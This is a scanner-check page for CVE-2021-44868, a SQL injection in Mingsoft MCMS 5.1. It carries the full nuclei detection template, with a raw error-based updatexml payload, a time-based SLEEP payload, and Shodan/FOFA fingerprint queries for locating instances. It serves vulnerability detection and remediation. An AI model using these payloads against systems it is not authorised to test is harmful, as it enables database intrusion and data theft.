Mingsoft MCMS 5.1 - SQL Injection

criticalseverity

9.8CVSS score

1.4%likelihood of exploitation, next 30 days

73%of all CVEs are less likely

Readycheck to confirm it

Mingsoft MCMS 5.1 contains a SQL injection vulnerability in POST /ms/cms/content/list.do via the contentCategoryId parameter (mapped to categoryId in ContentBizImpl.java / IContentDao.xml). The original PoC uses a time-based SLEEP payload. Snyk's write-up uses an authenticated request (PR:Low), while NVD rates it as unauthenticated (PR:N); this template probes the endpoint without credentials first. No vendor-fixed version was listed by Snyk at disclosure.

Impact

An attacker can execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data modification. Access to the /ms/ CMS console may be required on some deployments.

Fix

Apply the vendor's patch for the contentCategoryId / categoryId handling in ContentBizImpl and IContentDao, or upgrade to a later MCMS release that parameterizes this query.

How to confirm it

Send: POST /ms/cms/content/list.do ; @timeout: 30s
Positive when: contains "c8c605999f3d8352d7bb792cf3fdb25" OR duration>=8 and status_code==200 and contains_all(body, "result", "total", "data") and contains_all(content_type, "application/json")

Run it with nuclei: nuclei -id CVE-2021-44868 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-44868

info:
  name: Mingsoft MCMS 5.1 - SQL Injection
  author: ritikchaddha
  severity: critical
  description: |
    Mingsoft MCMS 5.1 contains a SQL injection vulnerability in POST /ms/cms/content/list.do via the contentCategoryId parameter (mapped to categoryId in ContentBizImpl.java / IContentDao.xml). The original PoC uses a time-based SLEEP payload. Snyk's write-up uses an authenticated request (PR:Low), while NVD rates it as unauthenticated (PR:N); this template probes the endpoint without credentials first. No vendor-fixed version was listed by Snyk at disclosure.
  impact: |
    An attacker can execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data modification. Access to the /ms/ CMS console may be required on some deployments.
  remediation: |
    Apply the vendor's patch for the contentCategoryId / categoryId handling in ContentBizImpl and IContentDao, or upgrade to a later MCMS release that parameterizes this query.
  reference:
    - https://github.com/ming-soft/MCMS/issues/58
    - https://security.snyk.io/vuln/SNYK-JAVA-NETMINGSOFT-2404812
    - https://nvd.nist.gov/vuln/detail/CVE-2021-44868
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-44868
    cwe-id: CWE-89
    epss-score: 0.01412
    epss-percentile: 0.73125
    cpe: cpe:2.3:a:mingsoft:mcms:5.1:*:*:*:*:*:*:*
  metadata:
    max-request: 3
    vendor: mingsoft
    product: mcms
    shodan-query: http.favicon.hash:"1464851260"
    fofa-query: icon_hash="1464851260"
  tags: cve,cve2021,sqli,mcms,mingsoft,vkev,time-based-sqli

variables:
  num: "999999999"

http:
  - raw:
      - |
        POST /ms/cms/content/list.do HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        X-Requested-With: XMLHttpRequest

        contentCategoryId=1'+and+updatexml(1,concat(0x7e,md5('{{num}}'),0x7e),1)--+

      - |
        @timeout: 30s
        POST /ms/cms/content/list.do HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        X-Requested-With: XMLHttpRequest

        contentCategoryId=158'||(SELECT 0x7155656f WHERE 5755=5755 AND (SELECT 1979 FROM (SELECT(SLEEP(8)))dYQF))||'

    stop-at-first-match: true

    matchers-condition: or
    matchers:
      - type: word
        name: error-based
        part: body
        words:
          - "c8c605999f3d8352d7bb792cf3fdb25"

      - type: dsl
        name: time-based
        dsl:
          - 'duration>=8'
          - 'status_code==200'
          - 'contains_all(body, "result", "total", "data")'
          - 'contains_all(content_type, "application/json")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from